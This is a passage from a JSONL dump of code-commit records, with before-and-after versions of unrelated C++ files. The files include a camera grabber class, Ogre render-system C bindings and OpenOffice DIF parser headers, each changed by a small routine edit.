std::get<0>(descriptor_position_array.at(i));\n\n\t\t\/\/ check to see if the \n\t\tif (relative_distance > 0x8000) {\n\n\t\t\tdescriptor |= far_bit_mask;\n\t\t\tdescriptor |= far_pointer_block_position;\n\n\t\t\tfar_pointer_block_position--;\n\t\t\n\t\t} else {\n\t\t\t\n\t\t\tdescriptor |= relative_distance;\t\n\n\t\t}\n\n\t\t\/\/ We have finished building the CD so we push it onto the buffer\n\t\tmemcpy(&descriptor_buffer[descriptor_buffer_position], &descriptor, sizeof(uint64_t));\n\t\tdescriptor_buffer_position--;\n\n\t}\n\n\tstd::get<1>(descriptor_and_position) = descriptor_buffer_position + 1;\n\n\t\/\/ Return the node up the stack\n\treturn descriptor_and_position;\n}\n\nchar Octree::get1DIndexedVoxel(char* data, sf::Vector3i dimensions, sf::Vector3i position) {\t\n\treturn data[position.x + OCT_DIM * (position.y + OCT_DIM * position.z)];\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"Grabber.h\"\n\n#include \"tis_logging.h\"\n\n\nusing namespace tis_imaging;\n\n\nGrabber::Grabber ()\n    : device(nullptr), pipeline(std::make_shared<PipelineManager>())\n{}\n\n\nGrabber::~Grabber ()\n{\n    if (isDeviceOpen())\n        closeDevice();\n}\n\n\nbool Grabber::openDevice (const CaptureDevice& _device)\n{\n    if (pipeline->getPipelineStatus() == PIPELINE_PLAYING ||\n        pipeline->getPipelineStatus() == PIPELINE_PAUSED)\n    {\n        return false;\n    }\n\n    if (isDeviceOpen())\n    {\n        bool ret = closeDevice();\n        if (ret == false)\n        {\n            tis_log(TIS_LOG_ERROR, \"Unable to close previous device.\");\n            return false;\n        }\n    }\n\n    open_device = _device;\n\n    device = openDeviceInterface(open_device);\n\n    if (device == nullptr)\n    {\n        return false;\n    }\n\n    device_properties = device->getProperties();\n\n    tis_log(TIS_LOG_DEBUG, \"Retrieved %d properties\",device_properties.size());\n    bool ret = pipeline->setSource(device);\n\n    if (ret == true)\n    {\n        pipeline_properties = pipeline->getFilterProperties();\n    }\n    \n    return true;\n}\n\n\nbool Grabber::isDeviceOpen () const\n{\n    if (device != nullptr)\n    {\n        return true;\n    }\n\n    return false;      \n}\n\n\nCaptureDevice Grabber::getDevice () const\n{\n    return this->open_device;\n}\n\n\nbool Grabber::closeDevice ()\n{\n    std::string name = open_device.getName();\n\n    pipeline->destroyPipeline();\n\n    open_device = CaptureDevice ();\n    device.reset();\n    device_properties.clear();\n\n    tis_log(TIS_LOG_INFO, \"Closed device %s.\", name.c_str());\n    \n    return true;\n}\n\n\nstd::vector<Property> Grabber::getAvailableProperties ()\n{\n    if (!isDeviceOpen())\n    {\n        return std::vector<Property>();\n    }\n\n    std::vector<Property> props;\n\n    for (const auto& p : device_properties)\n    {\n        props.push_back(*p);\n    }\n\n    for ( const auto& p : pipeline_properties)\n    {\n        props.push_back(*p);\n    }\n\n    return props;\n}\n\n\nstd::vector<VideoFormatDescription> Grabber::getAvailableVideoFormats () const\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return std::vector<VideoFormatDescription>();\n    }\n\n    return pipeline->getAvailableVideoFormats();\n}\n\n\nbool Grabber::setVideoFormat (const VideoFormat& _format)\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return false;\n    }\n        \n    return this->device->setVideoFormat(_format);\n}\n\n\nVideoFormat Grabber::getActiveVideoFormat () const\n{\n    if(!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return VideoFormat();\n    }\n        \n    return device->getActiveVideoFormat();\n}\n\n\nbool Grabber::startStream (std::shared_ptr<ImageSink> sink)\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return false;\n    }\n    pipeline->setSink(sink);\n\n    return pipeline->setPipelineStatus(PIPELINE_PLAYING);\n}\n\n\nbool Grabber::stopStream ()\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return false;\n    }\n\n    return pipeline->setPipelineStatus(PIPELINE_STOPPED);\n}\n\n\n<commit_msg>Propagated VideoFormat to pipeline<commit_after>\n#include \"Grabber.h\"\n\n#include \"tis_logging.h\"\n\n\nusing namespace tis_imaging;\n\n\nGrabber::Grabber ()\n    : device(nullptr), pipeline(std::make_shared<PipelineManager>())\n{}\n\n\nGrabber::~Grabber ()\n{\n    if (isDeviceOpen())\n        closeDevice();\n}\n\n\nbool Grabber::openDevice (const CaptureDevice& _device)\n{\n    if (pipeline->getPipelineStatus() == PIPELINE_PLAYING ||\n        pipeline->getPipelineStatus() == PIPELINE_PAUSED)\n    {\n        return false;\n    }\n\n    if (isDeviceOpen())\n    {\n        bool ret = closeDevice();\n        if (ret == false)\n        {\n            tis_log(TIS_LOG_ERROR, \"Unable to close previous device.\");\n            return false;\n        }\n    }\n\n    open_device = _device;\n\n    device = openDeviceInterface(open_device);\n\n    if (device == nullptr)\n    {\n        return false;\n    }\n\n    device_properties = device->getProperties();\n\n    tis_log(TIS_LOG_DEBUG, \"Retrieved %d properties\",device_properties.size());\n    bool ret = pipeline->setSource(device);\n\n    if (ret == true)\n    {\n        pipeline_properties = pipeline->getFilterProperties();\n    }\n    \n    return true;\n}\n\n\nbool Grabber::isDeviceOpen () const\n{\n    if (device != nullptr)\n    {\n        return true;\n    }\n\n    return false;      \n}\n\n\nCaptureDevice Grabber::getDevice () const\n{\n    return this->open_device;\n}\n\n\nbool Grabber::closeDevice ()\n{\n    std::string name = open_device.getName();\n\n    pipeline->destroyPipeline();\n\n    open_device = CaptureDevice ();\n    device.reset();\n    device_properties.clear();\n\n    tis_log(TIS_LOG_INFO, \"Closed device %s.\", name.c_str());\n    \n    return true;\n}\n\n\nstd::vector<Property> Grabber::getAvailableProperties ()\n{\n    if (!isDeviceOpen())\n    {\n        return std::vector<Property>();\n    }\n\n    std::vector<Property> props;\n\n    for (const auto& p : device_properties)\n    {\n        props.push_back(*p);\n    }\n\n    for ( const auto& p : pipeline_properties)\n    {\n        props.push_back(*p);\n    }\n\n    return props;\n}\n\n\nstd::vector<VideoFormatDescription> Grabber::getAvailableVideoFormats () const\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return std::vector<VideoFormatDescription>();\n    }\n\n    return pipeline->getAvailableVideoFormats();\n}\n\n\nbool Grabber::setVideoFormat (const VideoFormat& _format)\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return false;\n    }\n\n    pipeline->setVideoFormat(_format);\n\n    return this->device->setVideoFormat(_format);\n}\n\n\nVideoFormat Grabber::getActiveVideoFormat () const\n{\n    if(!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return VideoFormat();\n    }\n        \n    return device->getActiveVideoFormat();\n}\n\n\nbool Grabber::startStream (std::shared_ptr<ImageSink> sink)\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return false;\n    }\n    pipeline->setSink(sink);\n\n    return pipeline->setPipelineStatus(PIPELINE_PLAYING);\n}\n\n\nbool Grabber::stopStream ()\n{\n    if (!isDeviceOpen())\n    {\n        tis_log(TIS_LOG_ERROR, \"No open device\");\n        return false;\n    }\n\n    return pipeline->setPipelineStatus(PIPELINE_STOPPED);\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * rendersystem_bind.cpp - bindings for Ogre::RenderSystem\n ******************************************************************************\n * This file is part of\n *     __ __              _ \n *    \/ \/\/ \/_____ ____   (_)\n *   \/ \/\/ \/\/ ___\/\/ __ \\ \/ \/ \n *  \/ \/\/ \/\/ \/__ \/ \/_\/ \/\/ \/  \n * \/_\/\/_\/ \\___\/ \\____\/\/_\/   \n *                          \n * Low Level C Ogre Interface (llcoi)\n *\n * See http:\/\/code.google.com\/p\/llcoi\/ for more information.\n *\n * Copyright (c) 2011, Llcoi Team\n * \n * License: MIT\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n ******************************************************************************\/\n#include \"ogre_interface.h\"\n\n#include <OgreRoot.h>\n#include <OgreRenderSystem.h>\n\nvoid add_render_system(RenderSystemHandle render_system)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(render_system);\n    Ogre::Root::getSingletonPtr()->addRenderSystem(rs);\n}\n\nvoid set_render_system(RenderSystemHandle render_system)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(render_system);\n    Ogre::Root::getSingletonPtr()->setRenderSystem(rs);\n}\n\nRenderSystemHandle get_render_system_by_name(const char* render_system_name)\n{\n    Ogre::RenderSystem* rs = Ogre::Root::getSingletonPtr()->getRenderSystemByName(render_system_name);\n    return reinterpret_cast<RenderSystemHandle>(rs);\n}\n\nRenderSystemHandle get_render_system()\n{\n    return reinterpret_cast<RenderSystemHandle>(Ogre::Root::getSingletonPtr()->getRenderSystem());\n}\n\nvoid render_system_set_config_option(RenderSystemHandle render_system_handle, const char* option, const char* value)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(render_system_handle);\n    rs->setConfigOption(option, value);\n}\n\nunsigned int render_system_list_size(RenderSystemListHandle list_handle)\n{\n    Ogre::RenderSystemList* rs_list = reinterpret_cast<Ogre::RenderSystemList*>(list_handle);\n    return rs_list->size();\n}\n\nRenderSystemHandle render_system_list_get(RenderSystemListHandle list_handle, unsigned int index)\n{\n    Ogre::RenderSystemList* rs_list = reinterpret_cast<Ogre::RenderSystemList*>(list_handle);\n    return rs_list->at(index);\n}\n\nvoid destroy_render_system_list(RenderSystemListHandle handle)\n{\n    Ogre::RenderSystemList* rs_list = reinterpret_cast<Ogre::RenderSystemList*>(handle);\n    delete rs_list;\n}\n\n<commit_msg>added wrapping for RenderSystem::getName<commit_after>\/******************************************************************************\n * rendersystem_bind.cpp - bindings for Ogre::RenderSystem\n ******************************************************************************\n * This file is part of\n *     __ __              _ \n *    \/ \/\/ \/_____ ____   (_)\n *   \/ \/\/ \/\/ ___\/\/ __ \\ \/ \/ \n *  \/ \/\/ \/\/ \/__ \/ \/_\/ \/\/ \/  \n * \/_\/\/_\/ \\___\/ \\____\/\/_\/   \n *                          \n * Low Level C Ogre Interface (llcoi)\n *\n * See http:\/\/code.google.com\/p\/llcoi\/ for more information.\n *\n * Copyright (c) 2011, Llcoi Team\n * \n * License: MIT\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n ******************************************************************************\/\n#include \"ogre_interface.h\"\n\n#include <OgreRoot.h>\n#include <OgreRenderSystem.h>\n\nvoid add_render_system(RenderSystemHandle render_system)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(render_system);\n    Ogre::Root::getSingletonPtr()->addRenderSystem(rs);\n}\n\nvoid set_render_system(RenderSystemHandle render_system)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(render_system);\n    Ogre::Root::getSingletonPtr()->setRenderSystem(rs);\n}\n\nRenderSystemHandle get_render_system_by_name(const char* render_system_name)\n{\n    Ogre::RenderSystem* rs = Ogre::Root::getSingletonPtr()->getRenderSystemByName(render_system_name);\n    return reinterpret_cast<RenderSystemHandle>(rs);\n}\n\nRenderSystemHandle get_render_system()\n{\n    return reinterpret_cast<RenderSystemHandle>(Ogre::Root::getSingletonPtr()->getRenderSystem());\n}\n\nvoid render_system_set_config_option(RenderSystemHandle render_system_handle, const char* option, const char* value)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(render_system_handle);\n    rs->setConfigOption(option, value);\n}\n\nconst char * render_system_get_name(RenderSystemHandle handle)\n{\n    Ogre::RenderSystem* rs = reinterpret_cast<Ogre::RenderSystem*>(handle);\n    return rs->getName().c_str();\n}\n\nunsigned int render_system_list_size(RenderSystemListHandle list_handle)\n{\n    Ogre::RenderSystemList* rs_list = reinterpret_cast<Ogre::RenderSystemList*>(list_handle);\n    return rs_list->size();\n}\n\nRenderSystemHandle render_system_list_get(RenderSystemListHandle list_handle, unsigned int index)\n{\n    Ogre::RenderSystemList* rs_list = reinterpret_cast<Ogre::RenderSystemList*>(list_handle);\n    return rs_list->at(index);\n}\n\nvoid destroy_render_system_list(RenderSystemListHandle handle)\n{\n    Ogre::RenderSystemList* rs_list = reinterpret_cast<Ogre::RenderSystemList*>(handle);\n    delete rs_list;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n @ Kingsley Chen\n*\/\n\n#include \"memory_bin.h\"\n<commit_msg>remove memory_bin.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: dif.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 19:15:23 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\n#ifndef _DIF_HXX\n#define _DIF_HXX\n\n\n#ifndef _TOOLS_DEBUG_HXX \/\/autogen\n#include <tools\/debug.hxx>\n#endif\n\n#ifndef _LIST_HXX \/\/autogen\n#include <tools\/list.hxx>\n#endif\n\n#ifndef _STRING_HXX \/\/autogen\n#include <tools\/string.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\n#ifndef SC_ADDRESS_HXX\n#include \"address.hxx\"\n#endif\n\n\nclass SvStream;\nclass SvNumberFormatter;\nclass ScDocument;\nclass ScPatternAttr;\n\nextern const sal_Unicode pKeyTABLE[];\nextern const sal_Unicode pKeyVECTORS[];\nextern const sal_Unicode pKeyTUPLES[];\nextern const sal_Unicode pKeyDATA[];\nextern const sal_Unicode pKeyBOT[];\nextern const sal_Unicode pKeyEOD[];\nextern const sal_Unicode pKeyTRUE[];\nextern const sal_Unicode pKeyFALSE[];\nextern const sal_Unicode pKeyNA[];\nextern const sal_Unicode pKeyV[];\nextern const sal_Unicode pKey1_0[];\n\n\nenum TOPIC\n{\n    T_UNKNOWN,\n    T_TABLE, T_VECTORS, T_TUPLES, T_DATA, T_LABEL, T_COMMENT, T_SIZE,\n    T_PERIODICITY, T_MAJORSTART, T_MINORSTART, T_TRUELENGTH, T_UINITS,\n    T_DISPLAYUNITS,\n    T_END\n};\n\nenum DATASET { D_BOT, D_EOD, D_NUMERIC, D_STRING, D_UNKNOWN, D_SYNT_ERROR };\n\n\nclass DifParser\n{\npublic:\n    String              aData;\n    double              fVal;\n    UINT32              nVector;\n    UINT32              nVal;\n    UINT32              nNumFormat;\n    CharSet             eCharSet;\nprivate:\n    SvNumberFormatter*  pNumFormatter;\n    SvStream&           rIn;\n    BOOL                bPlain;\n\n    static inline BOOL  IsBOT( const sal_Unicode* pRef );\n    static inline BOOL  IsEOD( const sal_Unicode* pRef );\n    static inline BOOL  Is1_0( const sal_Unicode* pRef );\npublic:\n                        DifParser( SvStream&, const UINT32 nOption, ScDocument&, CharSet );\n\n    TOPIC               GetNextTopic( void );\n\n    DATASET             GetNextDataset( void );\n\n    const sal_Unicode*  ScanIntVal( const sal_Unicode* pStart, UINT32& rRet );\n    BOOL                ScanFloatVal( const sal_Unicode* pStart );\n\n    inline BOOL         IsNumber( const sal_Unicode cChar );\n    inline BOOL         IsNumberEnding( const sal_Unicode cChar );\n\n    static inline BOOL  IsV( const sal_Unicode* pRef );\n\n    inline BOOL         IsPlain( void ) const;\n};\n\n\ninline BOOL DifParser::IsBOT( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKeyBOT[0] &&\n                pRef[ 1 ] == pKeyBOT[1] &&\n                pRef[ 2 ] == pKeyBOT[2] &&\n                pRef[ 3 ] == pKeyBOT[3] );\n}\n\n\ninline BOOL DifParser::IsEOD( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKeyEOD[0] &&\n                pRef[ 1 ] == pKeyEOD[1] &&\n                pRef[ 2 ] == pKeyEOD[2] &&\n                pRef[ 3 ] == pKeyEOD[3] );\n}\n\n\ninline BOOL DifParser::Is1_0( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKey1_0[0] &&\n                pRef[ 1 ] == pKey1_0[1] &&\n                pRef[ 2 ] == pKey1_0[2] &&\n                pRef[ 3 ] == pKey1_0[3] );\n}\n\n\ninline BOOL DifParser::IsV( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKeyV[0] &&\n                pRef[ 1 ] == pKeyV[1]   );\n}\n\n\ninline BOOL DifParser::IsNumber( const sal_Unicode cChar )\n{\n    return ( cChar >= '0' && cChar <= '9' );\n}\n\n\ninline BOOL DifParser::IsNumberEnding( const sal_Unicode cChar )\n{\n    return ( cChar == 0x00 );\n}\n\n\ninline BOOL DifParser::IsPlain( void ) const\n{\n    return bPlain;\n}\n\n\n\n\nclass DifAttrCache;\nclass ScPatternAttr;\n\n\nclass DifColumn : private List\n{\nprivate:\n    friend class DifAttrCache;\n    struct ENTRY\n    {\n        UINT32          nNumFormat;\n\n        SCROW           nStart;\n        SCROW           nEnd;\n    };\n\n    ENTRY*              pAkt;\n\n    inline              DifColumn( void );\n                        ~DifColumn();\n    void                SetLogical( SCROW nRow );\n    void                SetNumFormat( SCROW nRow, const UINT32 nNumFormat );\n    void                NewEntry( const SCROW nPos, const UINT32 nNumFormat );\n    void                Apply( ScDocument&, const SCCOL nCol, const SCTAB nTab, const ScPatternAttr& );\n    void                Apply( ScDocument &rDoc, const SCCOL nCol, const SCTAB nTab );\npublic:     \/\/ geht niemanden etwas an...\n};\n\n\ninline DifColumn::DifColumn( void )\n{\n    pAkt = NULL;\n}\n\n\n\n\nclass DifAttrCache\n{\nprivate:\n    DifColumn**         ppCols;\n    BOOL                bPlain;\npublic:\n                        DifAttrCache( const BOOL bPlain );\n                        ~DifAttrCache();\n    inline void         SetLogical( const SCCOL nCol, const SCROW nRow );\n    void                SetNumFormat( const SCCOL nCol, const SCROW nRow, const UINT32 nNumFormat );\n    void                Apply( ScDocument&, SCTAB nTab );\n};\n\n\ninline void DifAttrCache::SetLogical( const SCCOL nCol, const SCROW nRow )\n{\n    DBG_ASSERT( ValidCol(nCol), \"-DifAttrCache::SetLogical(): Col zu gross!\" );\n    DBG_ASSERT( bPlain, \"*DifAttrCache::SetLogical(): muss Plain sein!\" );\n\n    if( !ppCols[ nCol ] )\n        ppCols[ nCol ] = new DifColumn;\n    ppCols[ nCol ]->SetLogical( nRow );\n}\n\n\n#endif\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.5.700); FILE MERGED 2008\/04\/01 15:30:14 thb 1.5.700.3: #i85898# Stripping all external header guards 2008\/04\/01 12:36:18 thb 1.5.700.2: #i85898# Stripping all external header guards 2008\/03\/31 17:14:42 rt 1.5.700.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: dif.hxx,v $\n * $Revision: 1.6 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\n#ifndef _DIF_HXX\n#define _DIF_HXX\n\n\n#include <tools\/debug.hxx>\n#include <tools\/list.hxx>\n#include <tools\/string.hxx>\n#include \"global.hxx\"\n#include \"address.hxx\"\n\n\nclass SvStream;\nclass SvNumberFormatter;\nclass ScDocument;\nclass ScPatternAttr;\n\nextern const sal_Unicode pKeyTABLE[];\nextern const sal_Unicode pKeyVECTORS[];\nextern const sal_Unicode pKeyTUPLES[];\nextern const sal_Unicode pKeyDATA[];\nextern const sal_Unicode pKeyBOT[];\nextern const sal_Unicode pKeyEOD[];\nextern const sal_Unicode pKeyTRUE[];\nextern const sal_Unicode pKeyFALSE[];\nextern const sal_Unicode pKeyNA[];\nextern const sal_Unicode pKeyV[];\nextern const sal_Unicode pKey1_0[];\n\n\nenum TOPIC\n{\n    T_UNKNOWN,\n    T_TABLE, T_VECTORS, T_TUPLES, T_DATA, T_LABEL, T_COMMENT, T_SIZE,\n    T_PERIODICITY, T_MAJORSTART, T_MINORSTART, T_TRUELENGTH, T_UINITS,\n    T_DISPLAYUNITS,\n    T_END\n};\n\nenum DATASET { D_BOT, D_EOD, D_NUMERIC, D_STRING, D_UNKNOWN, D_SYNT_ERROR };\n\n\nclass DifParser\n{\npublic:\n    String              aData;\n    double              fVal;\n    UINT32              nVector;\n    UINT32              nVal;\n    UINT32              nNumFormat;\n    CharSet             eCharSet;\nprivate:\n    SvNumberFormatter*  pNumFormatter;\n    SvStream&           rIn;\n    BOOL                bPlain;\n\n    static inline BOOL  IsBOT( const sal_Unicode* pRef );\n    static inline BOOL  IsEOD( const sal_Unicode* pRef );\n    static inline BOOL  Is1_0( const sal_Unicode* pRef );\npublic:\n                        DifParser( SvStream&, const UINT32 nOption, ScDocument&, CharSet );\n\n    TOPIC               GetNextTopic( void );\n\n    DATASET             GetNextDataset( void );\n\n    const sal_Unicode*  ScanIntVal( const sal_Unicode* pStart, UINT32& rRet );\n    BOOL                ScanFloatVal( const sal_Unicode* pStart );\n\n    inline BOOL         IsNumber( const sal_Unicode cChar );\n    inline BOOL         IsNumberEnding( const sal_Unicode cChar );\n\n    static inline BOOL  IsV( const sal_Unicode* pRef );\n\n    inline BOOL         IsPlain( void ) const;\n};\n\n\ninline BOOL DifParser::IsBOT( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKeyBOT[0] &&\n                pRef[ 1 ] == pKeyBOT[1] &&\n                pRef[ 2 ] == pKeyBOT[2] &&\n                pRef[ 3 ] == pKeyBOT[3] );\n}\n\n\ninline BOOL DifParser::IsEOD( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKeyEOD[0] &&\n                pRef[ 1 ] == pKeyEOD[1] &&\n                pRef[ 2 ] == pKeyEOD[2] &&\n                pRef[ 3 ] == pKeyEOD[3] );\n}\n\n\ninline BOOL DifParser::Is1_0( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKey1_0[0] &&\n                pRef[ 1 ] == pKey1_0[1] &&\n                pRef[ 2 ] == pKey1_0[2] &&\n                pRef[ 3 ] == pKey1_0[3] );\n}\n\n\ninline BOOL DifParser::IsV( const sal_Unicode* pRef )\n{\n    return  (   pRef[ 0 ] == pKeyV[0] &&\n                pRef[ 1 ] == pKeyV[1]   );\n}\n\n\ninline BOOL DifParser::IsNumber( const sal_Unicode cChar )\n{\n    return ( cChar >= '0' && cChar <= '9' );\n}\n\n\ninline BOOL DifParser::IsNumberEnding( const sal_Unicode cChar )\n{\n    return ( cChar == 0x00 );\n}\n\n\ninline BOOL DifParser::IsPlain( void ) const\n{\n    return bPlain;\n}\n\n\n\n\nclass DifAttrCache;\nclass ScPatternAttr;\n\n\nclass DifColumn : private List\n{\nprivate:\n    friend class DifAttrCache;\n    struct ENTRY\n    {\n        UINT32          nNumFormat;\n\n        SCROW           nStart;\n        SCROW           nEnd;\n    };\n\n    ENTRY*              pAkt;\n\n    inline              DifColumn( void );\n                        ~DifColumn();\n    void                SetLogical( SCROW nRow );\n    void                SetNumFormat( SCROW nRow, const UINT32 nNumFormat );\n    void                NewEntry( const SCROW nPos, const UINT32 nNumFormat );\n    void                Apply( ScDocument&, const SCCOL nCol, const SCTAB nTab, const ScPatternAttr& );\n    void                Apply( ScDocument &rDoc, const SCCOL nCol, const SCTAB nTab );\npublic:     \/\/ geht niemanden etwas an...\n};\n\n\ninline DifColumn::DifColumn( void )\n{\n    pAkt = NULL;\n}\n\n\n\n\nclass DifAttrCache\n{\nprivate:\n    DifColumn**         ppCols;\n    BOOL                bPlain;\npublic:\n                        DifAttrCache( const BOOL bPlain );\n                        ~DifAttrCache();\n    inline void         SetLogical( const SCCOL nCol, const SCROW nRow );\n    void                SetNumFormat( const SCCOL nCol, const SCROW nRow, const UINT32 nNumFormat );\n    void                Apply( ScDocument&, SCTAB nTab );\n};\n\n\ninline void DifAttrCache::SetLogical( const SCCOL nCol, const SCROW nRow )\n{\n    DBG_ASSERT( ValidCol(nCol), \"-DifAttrCache::SetLogical(): Col zu gross!\" );\n    DBG_ASSERT( bPlain, \"*DifAttrCache::SetLogical(): muss Plain sein!\" );\n\n    if( !ppCols[ nCol ] )\n        ppCols[ nCol ] = new DifColumn;\n    ppCols[ nCol ]->SetLogical( nRow );\n}\n\n\n#endif\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: tptable.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: dr $ $Date: 2001-05-28 14:06:44 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR 